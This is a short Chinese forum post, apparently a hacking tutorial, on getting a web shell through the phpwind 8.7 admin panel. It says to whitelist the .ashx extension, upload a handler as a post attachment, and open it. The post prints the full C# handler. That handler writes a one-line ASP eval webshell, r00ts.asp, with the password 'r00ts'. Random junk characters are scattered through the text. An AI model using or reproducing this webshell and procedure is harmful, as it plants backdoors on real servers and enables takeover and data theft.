phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
5 `: j: }0 z% _; r" L, z: Z2 j- q
5 {8 U5 ]2 P* E& X+ b群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

; h# w3 k( M4 X+ _' v发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
1 n/ t) p. N& t# R% S  E8 c* j2 @
) h$ q, o% m1 W然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
' g- e8 i1 h+ t* I
- I5 I& U" r. _0 E; j下面是代码:
6 _; R* O+ k- _2 c+ m; l
8 D8 w' P/ c% T. b$ k<%@ WebHandler Language="C#"Class="Handler" %>
) v' G3 S: ~, r  Nusing System;
using System.Web;
using System.IO;
* A$ G% D; v! {9 C5 H% D6 ^( ~8 Bpublic class Handler : IHttpHandler {
% p+ j0 G, [* ?0 e9 Y5 N& rpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
* Y+ n6 l& x8 d9 [* d  }% \+ QStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
# n" H1 s3 |( C" C/ M* W}
public bool IsReusable {
( P9 |- x: s, P0 P( v; xget {
# b/ a+ j2 Q7 O8 greturn false;
}
( E+ |0 t- @% c2 i- Q( }2 F}
}
* f" @- N& a9 R$ T